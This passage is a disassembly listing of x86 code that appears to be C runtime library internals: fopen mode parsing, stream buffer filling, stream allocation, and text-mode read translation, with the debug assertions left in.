add esp, 4 cmp [ebp+arg_0], 1 jnz short loc_421788 mov eax, [ebp+var_4] jmp short loc_42178B ; --------------------------------------------------------------------------- loc_421788: ; CODE XREF: sub_421650+131j mov eax, [ebp+var_8] loc_42178B: ; CODE XREF: sub_421650+136j mov esp, ebp pop ebp retn sub_421650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421790 proc near ; CODE XREF: sub_419B30+D7p ; sub_419DD0+182p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_421799: ; CODE XREF: sub_421790+31j cmp [ebp+arg_0], 0 jnz short loc_4217BD push offset aStrNull ; "str != NULL" push 0 push 69h push offset a_filbuf_c ; "_filbuf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4217BD int 3 ; Trap to Debugger loc_4217BD: ; CODE XREF: sub_421790+Dj ; sub_421790+2Aj xor eax, eax test eax, eax jnz short loc_421799 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_4217E5 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_4217ED loc_4217E5: ; CODE XREF: sub_421790+46j or eax, 0FFFFFFFFh jmp loc_42196D ; --------------------------------------------------------------------------- loc_4217ED: ; CODE XREF: sub_421790+53j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_421810 mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_4] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_42196D ; --------------------------------------------------------------------------- loc_421810: ; CODE XREF: sub_421790+68j mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jnz short loc_42183B mov ecx, [ebp+var_4] push ecx call sub_427100 add esp, 4 jmp short loc_421846 ; --------------------------------------------------------------------------- loc_42183B: ; CODE XREF: sub_421790+9Bj mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx loc_421846: ; CODE XREF: sub_421790+A9j mov edx, [ebp+var_4] mov eax, [edx+18h] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_421E90 add esp, 0Ch mov edx, [ebp+var_4] mov [edx+4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_42187B mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0FFFFFFFFh jnz short loc_4218AB loc_42187B: ; CODE XREF: sub_421790+E0j mov edx, [ebp+var_4] mov eax, [edx+4] neg eax sbb eax, eax and eax, 10h add eax, 10h mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, eax mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 or eax, 0FFFFFFFFh jmp loc_42196D ; --------------------------------------------------------------------------- loc_4218AB: ; CODE XREF: sub_421790+E9j mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 82h test eax, eax jnz short loc_421911 mov ecx, [ebp+var_4] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz short loc_4218E6 mov edx, [ebp+var_4] mov eax, [edx+10h] sar eax, 5 mov ecx, [ebp+var_4] mov edx, [ecx+10h] and edx, 1Fh imul edx, 24h mov eax, dword_492420[eax*4] add eax, edx mov [ebp+var_8], eax jmp short loc_4218ED ; --------------------------------------------------------------------------- loc_4218E6: ; CODE XREF: sub_421790+131j mov [ebp+var_8], offset dword_443658 loc_4218ED: ; CODE XREF: sub_421790+154j mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx+4] and edx, 82h cmp edx, 82h jnz short loc_421911 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ch, 20h mov edx, [ebp+var_4] mov [edx+0Ch], ecx loc_421911: ; CODE XREF: sub_421790+128j ; sub_421790+170j mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 200h jnz short loc_421944 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 8 test edx, edx jz short loc_421944 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 400h test ecx, ecx jnz short loc_421944 mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h loc_421944: ; CODE XREF: sub_421790+18Bj ; sub_421790+198j ... mov eax, [ebp+var_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+var_4] mov [edx+4], ecx mov eax, [ebp+var_4] mov ecx, [eax] movsx eax, byte ptr [ecx] and eax, 0FFh mov edx, [ebp+var_4] mov ecx, [edx] add ecx, 1 mov edx, [ebp+var_4] mov [edx], ecx loc_42196D: ; CODE XREF: sub_421790+58j ; sub_421790+7Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_421790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421980 proc near ; CODE XREF: sub_419C70+DBp var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov eax, dword_4922C4 mov [ebp+var_1C], eax mov [ebp+var_18], 0 mov [ebp+var_10], 0 loc_42199F: ; CODE XREF: sub_421980+47j cmp [ebp+arg_0], 0 jnz short loc_4219C3 push offset aFilenameNull ; "filename != NULL" push 0 push 47h push offset a_open_c ; "_open.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4219C3 int 3 ; Trap to Debugger loc_4219C3: ; CODE XREF: sub_421980+23j ; sub_421980+40j xor ecx, ecx test ecx, ecx jnz short loc_42199F loc_4219C9: ; CODE XREF: sub_421980+71j cmp [ebp+arg_4], 0 jnz short loc_4219ED push offset aModeNull ; "mode != NULL" push 0 push 48h push offset a_open_c ; "_open.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4219ED int 3 ; Trap to Debugger loc_4219ED: ; CODE XREF: sub_421980+4Dj ; sub_421980+6Aj xor edx, edx test edx, edx jnz short loc_4219C9 loc_4219F3: ; CODE XREF: sub_421980+9Bj cmp [ebp+arg_C], 0 jnz short loc_421A17 push offset aStrNull ; "str != NULL" push 0 push 49h push offset a_open_c ; "_open.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_421A17 int 3 ; Trap to Debugger loc_421A17: ; CODE XREF: sub_421980+77j ; sub_421980+94j xor eax, eax test eax, eax jnz short loc_4219F3 mov ecx, [ebp+arg_4] mov dl, [ecx] mov [ebp+var_20], dl cmp [ebp+var_20], 61h jz short loc_421A5C cmp [ebp+var_20], 72h jz short loc_421A39 cmp [ebp+var_20], 77h jz short loc_421A4A jmp short loc_421A6E ; --------------------------------------------------------------------------- loc_421A39: ; CODE XREF: sub_421980+AFj mov [ebp+var_14], 0 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax jmp short loc_421A75 ; --------------------------------------------------------------------------- loc_421A4A: ; CODE XREF: sub_421980+B5j mov [ebp+var_14], 301h mov ecx, [ebp+var_1C] or ecx, 2 mov [ebp+var_1C], ecx jmp short loc_421A75 ; --------------------------------------------------------------------------- loc_421A5C: ; CODE XREF: sub_421980+A9j mov [ebp+var_14], 109h mov edx, [ebp+var_1C] or edx, 2 mov [ebp+var_1C], edx jmp short loc_421A75 ; --------------------------------------------------------------------------- loc_421A6E: ; CODE XREF: sub_421980+B7j xor eax, eax jmp loc_421C96 ; --------------------------------------------------------------------------- loc_421A75: ; CODE XREF: sub_421980+C8j ; sub_421980+DAj ... mov [ebp+var_4], 1 loc_421A7C: ; CODE XREF: sub_421980:loc_421C1Aj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jz loc_421C1F cmp [ebp+var_4], 0 jz loc_421C1F mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] mov [ebp+var_24], ecx mov edx, [ebp+var_24] sub edx, 2Bh mov [ebp+var_24], edx cmp [ebp+var_24], 49h ja loc_421C13 mov ecx, [ebp+var_24] xor eax, eax mov al, ds:byte_421CC5[ecx] jmp ds:off_421C9D[eax*4] loc_421ACB: ; DATA XREF: .text:off_421C9Do mov edx, [ebp+var_14] and edx, 2 test edx, edx jz short loc_421ADE mov [ebp+var_4], 0 jmp short loc_421B00 ; --------------------------------------------------------------------------- loc_421ADE: ; CODE XREF: sub_421980+153j mov eax, [ebp+var_14] or al, 2 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 0FFFFFFFEh mov [ebp+var_14], ecx mov edx, [ebp+var_1C] or dl, 80h mov [ebp+var_1C], edx mov eax, [ebp+var_1C] and al, 0FCh mov [ebp+var_1C], eax loc_421B00: ; CODE XREF: sub_421980+15Cj jmp loc_421C1A ; --------------------------------------------------------------------------- loc_421B05: ; CODE XREF: sub_421980+144j ; DATA XREF: .text:00421CB1o mov ecx, [ebp+var_14] and ecx, 0C000h test ecx, ecx jz short loc_421B1B mov [ebp+var_4], 0 jmp short loc_421B24 ; --------------------------------------------------------------------------- loc_421B1B: ; CODE XREF: sub_421980+190j mov edx, [ebp+var_14] or dh, 80h mov [ebp+var_14], edx loc_421B24: ; CODE XREF: sub_421980+199j jmp loc_421C1A ; --------------------------------------------------------------------------- loc_421B29: ; CODE XREF: sub_421980+144j ; DATA XREF: .text:00421CBDo mov eax, [ebp+var_14] and eax, 0C000h test eax, eax jz short loc_421B3E mov [ebp+var_4], 0 jmp short loc_421B47 ; --------------------------------------------------------------------------- loc_421B3E: ; CODE XREF: sub_421980+1B3j mov ecx, [ebp+var_14] or ch, 40h mov [ebp+var_14], ecx loc_421B47: ; CODE XREF: sub_421980+1BCj jmp loc_421C1A ; --------------------------------------------------------------------------- loc_421B4C: ; CODE XREF: sub_421980+144j ; DATA XREF: .text:00421CB5o cmp [ebp+var_18], 0 jz short loc_421B5B mov [ebp+var_4], 0 jmp short loc_421B6B ; --------------------------------------------------------------------------- loc_421B5B: ; CODE XREF: sub_421980+1D0j mov [ebp+var_18], 1 mov edx, [ebp+var_1C] or dh, 40h mov [ebp+var_1C], edx loc_421B6B: ; CODE XREF: sub_421980+1D9j jmp loc_421C1A ; --------------------------------------------------------------------------- loc_421B70: ; CODE XREF: sub_421980+144j ; DATA XREF: .text:00421CB9o cmp [ebp+var_18], 0 jz short loc_421B7F mov [ebp+var_4], 0 jmp short loc_421B8F ; --------------------------------------------------------------------------- loc_421B7F: ; CODE XREF: sub_421980+1F4j mov [ebp+var_18], 1 mov eax, [ebp+var_1C] and ah, 0BFh mov [ebp+var_1C], eax loc_421B8F: ; CODE XREF: sub_421980+1FDj jmp loc_421C1A ; --------------------------------------------------------------------------- loc_421B94: ; CODE XREF: sub_421980+144j ; DATA XREF: .text:00421CA9o cmp [ebp+var_10], 0 jz short loc_421BA3 mov [ebp+var_4], 0 jmp short loc_421BB3 ; --------------------------------------------------------------------------- loc_421BA3: ; CODE XREF: sub_421980+218j mov [ebp+var_10], 1 mov ecx, [ebp+var_14] or ecx, 20h mov [ebp+var_14], ecx loc_421BB3: ; CODE XREF: sub_421980+221j jmp short loc_421C1A ; --------------------------------------------------------------------------- loc_421BB5: ; CODE XREF: sub_421980+144j ; DATA XREF: .text:00421CA5o cmp [ebp+var_10], 0 jz short loc_421BC4 mov [ebp+var_4], 0 jmp short loc_421BD4 ; --------------------------------------------------------------------------- loc_421BC4: ; CODE XREF: sub_421980+239j mov [ebp+var_10], 1 mov edx, [ebp+var_14] or edx, 10h mov [ebp+var_14], edx loc_421BD4: ; CODE XREF: sub_421980+242j jmp short loc_421C1A ; --------------------------------------------------------------------------- loc_421BD6: ; CODE XREF: sub_421980+144j ; DATA XREF: .text:00421CADo mov eax, [ebp+var_14] and eax, 1000h test eax, eax jz short loc_421BEB mov [ebp+var_4], 0 jmp short loc_421BF4 ; --------------------------------------------------------------------------- loc_421BEB: ; CODE XREF: sub_421980+260j mov ecx, [ebp+var_14] or ch, 10h mov [ebp+var_14], ecx loc_421BF4: ; CODE XREF: sub_421980+269j jmp short loc_421C1A ; --------------------------------------------------------------------------- loc_421BF6: ; CODE XREF: sub_421980+144j ; DATA XREF: .text:00421CA1o mov edx, [ebp+var_14] and edx, 40h test edx, edx jz short loc_421C09 mov [ebp+var_4], 0 jmp short loc_421C11 ; --------------------------------------------------------------------------- loc_421C09: ; CODE XREF: sub_421980+27Ej mov eax, [ebp+var_14] or al, 40h mov [ebp+var_14], eax loc_421C11: ; CODE XREF: sub_421980+287j jmp short loc_421C1A ; --------------------------------------------------------------------------- loc_421C13: ; CODE XREF: sub_421980+133j ; sub_421980+144j ; DATA XREF: ... mov [ebp+var_4], 0 loc_421C1A: ; CODE XREF: sub_421980:loc_421B00j ; sub_421980:loc_421B24j ... jmp loc_421A7C ; --------------------------------------------------------------------------- loc_421C1F: ; CODE XREF: sub_421980+10Dj ; sub_421980+117j push 1A4h mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_4282A0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_421C45 xor eax, eax jmp short loc_421C96 ; --------------------------------------------------------------------------- loc_421C45: ; CODE XREF: sub_421980+2BFj mov ecx, dword_492154 add ecx, 1 mov dword_492154, ecx mov edx, [ebp+arg_C] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] mov [eax+0Ch], ecx mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov ecx, [ebp+var_C] mov dword ptr [ecx+8], 0 mov edx, [ebp+var_C] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax+10h], ecx mov eax, [ebp+var_C] loc_421C96: ; CODE XREF: sub_421980+F0j ; sub_421980+2C3j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_421980 endp ; --------------------------------------------------------------------------- off_421C9D dd offset loc_421ACB ; DATA XREF: sub_421980+144r dd offset loc_421BF6 dd offset loc_421BB5 dd offset loc_421B94 dd offset loc_421BD6 dd offset loc_421B05 dd offset loc_421B4C dd offset loc_421B70 dd offset loc_421B29 dd offset loc_421C13 byte_421CC5 db 0 ; DATA XREF: sub_421980+13Er dw 909h dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h dd 0CC080909h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D10 proc near ; CODE XREF: sub_419C70+B9p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 push 2 call sub_41BC90 add esp, 4 mov [ebp+var_4], 0 jmp short loc_421D39 ; --------------------------------------------------------------------------- loc_421D30: ; CODE XREF: sub_421D10+A8j ; sub_421D10:loc_421E39j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_421D39: ; CODE XREF: sub_421D10+1Ej mov ecx, [ebp+var_4] cmp ecx, dword_493760 jge loc_421E3E mov edx, [ebp+var_4] mov eax, dword_492750 cmp dword ptr [eax+edx*4], 0 jz short loc_421DCF mov ecx, [ebp+var_4] mov edx, dword_492750 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jnz short loc_421DCD mov edx, [ebp+var_4] mov eax, dword_492750 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_4] push edx call sub_421270 add esp, 8 mov eax, [ebp+var_4] mov ecx, dword_492750 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_421DBD mov ecx, [ebp+var_4] mov edx, dword_492750 mov eax, [edx+ecx*4] push eax mov ecx, [ebp+var_4] push ecx call sub_4212E0 add esp, 8 jmp loc_421D30 ; --------------------------------------------------------------------------- loc_421DBD: ; CODE XREF: sub_421D10+8Dj mov edx, [ebp+var_4] mov eax, dword_492750 mov ecx, [eax+edx*4] mov [ebp+var_8], ecx jmp short loc_421E3E ; --------------------------------------------------------------------------- loc_421DCD: ; CODE XREF: sub_421D10+5Dj jmp short loc_421E39 ; --------------------------------------------------------------------------- loc_421DCF: ; CODE XREF: sub_421D10+44j push 55h push offset aStream_c ; "stream.c" push 2 push 38h call sub_416A30 add esp, 10h mov edx, [ebp+var_4] mov ecx, dword_492750 mov [ecx+edx*4], eax mov edx, [ebp+var_4] mov eax, dword_492750 cmp dword ptr [eax+edx*4], 0 jz short loc_421E37 mov ecx, [ebp+var_4] mov edx, dword_492750 mov eax, [edx+ecx*4] add eax, 20h push eax call ds:dword_494430 mov ecx, [ebp+var_4] mov edx, dword_492750 mov eax, [edx+ecx*4] add eax, 20h push eax call ds:dword_494304 mov ecx, [ebp+var_4] mov edx, dword_492750 mov eax, [edx+ecx*4] mov [ebp+var_8], eax loc_421E37: ; CODE XREF: sub_421D10+EAj jmp short loc_421E3E ; --------------------------------------------------------------------------- loc_421E39: ; CODE XREF: sub_421D10:loc_421DCDj jmp loc_421D30 ; --------------------------------------------------------------------------- loc_421E3E: ; CODE XREF: sub_421D10+32j ; sub_421D10+BBj ... cmp [ebp+var_8], 0 jz short loc_421E7F mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+10h], 0FFFFFFFFh loc_421E7F: ; CODE XREF: sub_421D10+132j push 2 call sub_41BD30 add esp, 4 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_421D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E90 proc near ; CODE XREF: sub_419DD0+118p ; sub_421790+CBp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_492520 jnb short loc_421EC1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_421EDC loc_421EC1: ; CODE XREF: sub_421E90+Dj call sub_422F20 mov dword ptr [eax], 9 call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_421F0E ; --------------------------------------------------------------------------- loc_421EDC: ; CODE XREF: sub_421E90+2Fj mov edx, [ebp+arg_0] push edx call sub_4280C0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_421F20 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_428150 add esp, 4 mov eax, [ebp+var_4] loc_421F0E: ; CODE XREF: sub_421E90+4Aj mov esp, ebp pop ebp retn sub_421E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F20 proc near ; CODE XREF: sub_421E90+64p ; sub_4282A0+42Fp var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_18], 0 mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+arg_8], 0 jz short loc_421F5B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 2 test ecx, ecx jz short loc_421F62 loc_421F5B: ; CODE XREF: sub_421F20+17j xor eax, eax jmp loc_422361 ; --------------------------------------------------------------------------- loc_421F62: ; CODE XREF: sub_421F20+39j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_492420[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 48h test edx, edx jz short loc_421FF9 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] movsx eax, byte ptr [edx+ecx+5] cmp eax, 0Ah jz short loc_421FF9 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] mov ecx, [ebp+var_14] mov dl, [eax+edx+5] mov [ecx], dl mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov byte ptr [edx+ecx+5], 0Ah loc_421FF9: ; CODE XREF: sub_421F20+62j ; sub_421F20+82j push 0 lea eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov eax, [edx+ecx] push eax call ds:dword_4942DC test eax, eax jnz short loc_422078 call ds:dword_4942F0 mov [ebp+var_8], eax cmp [ebp+var_8], 5 jnz short loc_422057 call sub_422F20 mov dword ptr [eax], 9 call sub_422F30 mov ecx, [ebp+var_8] mov [eax], ecx or eax, 0FFFFFFFFh jmp loc_422361 ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_421F20+118j cmp [ebp+var_8], 6Dh jnz short loc_422064 xor eax, eax jmp loc_422361 ; --------------------------------------------------------------------------- loc_422064: ; CODE XREF: sub_421F20+13Bj mov edx, [ebp+var_8] push edx call sub_422E80 add esp, 4 or eax, 0FFFFFFFFh jmp loc_422361 ; --------------------------------------------------------------------------- loc_422078: ; CODE XREF: sub_421F20+109j mov eax, [ebp+var_18] add eax, [ebp+var_10] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz loc_42235E cmp [ebp+var_10], 0 jz short loc_4220F4 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jnz short loc_4220F4 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] mov cl, [eax+edx+4] or cl, 4 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, dword_492420[edx*4] mov [edx+eax+4], cl jmp short loc_42212A ; --------------------------------------------------------------------------- loc_4220F4: ; CODE XREF: sub_421F20+18Ej ; sub_421F20+199j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov al, [edx+ecx+4] and al, 0FBh mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_492420[ecx*4] mov [ecx+edx+4], al loc_42212A: ; CODE XREF: sub_421F20+1D2j mov edx, [ebp+arg_4] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_422136: ; CODE XREF: sub_421F20:loc_422350j mov ecx, [ebp+arg_4] add ecx, [ebp+var_18] cmp [ebp+var_4], ecx jnb loc_422355 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 1Ah jnz short loc_4221AE mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 40h test ecx, ecx jnz short loc_4221A9 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_492420[edx*4] mov dl, [ecx+eax+4] or dl, 2 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_492420[eax*4] mov [eax+ecx+4], dl loc_4221A9: ; CODE XREF: sub_421F20+250j jmp loc_422355 ; --------------------------------------------------------------------------- loc_4221AE: ; CODE XREF: sub_421F20+22Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jz short loc_4221DA mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp loc_422350 ; --------------------------------------------------------------------------- loc_4221DA: ; CODE XREF: sub_421F20+297j mov edx, [ebp+var_18] mov eax, [ebp+arg_4] lea ecx, [eax+edx-1] cmp [ebp+var_4], ecx jnb short loc_422230 mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 0Ah jnz short loc_42220F mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42222B ; --------------------------------------------------------------------------- loc_42220F: ; CODE XREF: sub_421F20+2D3j mov ecx, [ebp+var_C] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42222B: ; CODE XREF: sub_421F20+2EDj jmp loc_422350 ; --------------------------------------------------------------------------- loc_422230: ; CODE XREF: sub_421F20+2C7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov [ebp+var_8], 0 push 0 lea ecx, [ebp+var_10] push ecx push 1 lea edx, [ebp+var_1C] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov eax, [edx+ecx] push eax call ds:dword_4942DC test eax, eax jnz short loc_422279 call ds:dword_4942F0 mov [ebp+var_8], eax loc_422279: ; CODE XREF: sub_421F20+34Ej cmp [ebp+var_8], 0 jnz short loc_422285 cmp [ebp+var_10], 0 jnz short loc_422299 loc_422285: ; CODE XREF: sub_421F20+35Dj mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx jmp loc_422350 ; --------------------------------------------------------------------------- loc_422299: ; CODE XREF: sub_421F20+363j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 48h test eax, eax jz short loc_422303 movsx ecx, [ebp+var_1C] cmp ecx, 0Ah jnz short loc_4222D5 mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_422301 ; --------------------------------------------------------------------------- loc_4222D5: ; CODE XREF: sub_421F20+3A2j mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov al, [ebp+var_1C] mov [edx+ecx+5], al loc_422301: ; CODE XREF: sub_421F20+3B3j jmp short loc_422350 ; --------------------------------------------------------------------------- loc_422303: ; CODE XREF: sub_421F20+399j mov ecx, [ebp+var_C] cmp ecx, [ebp+arg_4] jnz short loc_422325 movsx edx, [ebp+var_1C] cmp edx, 0Ah jnz short loc_422325 mov eax, [ebp+var_C] mov byte ptr [eax], 0Ah mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_422350 ; --------------------------------------------------------------------------- loc_422325: ; CODE XREF: sub_421F20+3E9j ; sub_421F20+3F2j push 1 push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_424B90 add esp, 0Ch mov [ebp+var_20], eax movsx eax, [ebp+var_1C] cmp eax, 0Ah jz short loc_422350 mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_422350: ; CODE XREF: sub_421F20+2B5j ; sub_421F20:loc_42222Bj ... jmp loc_422136 ; --------------------------------------------------------------------------- 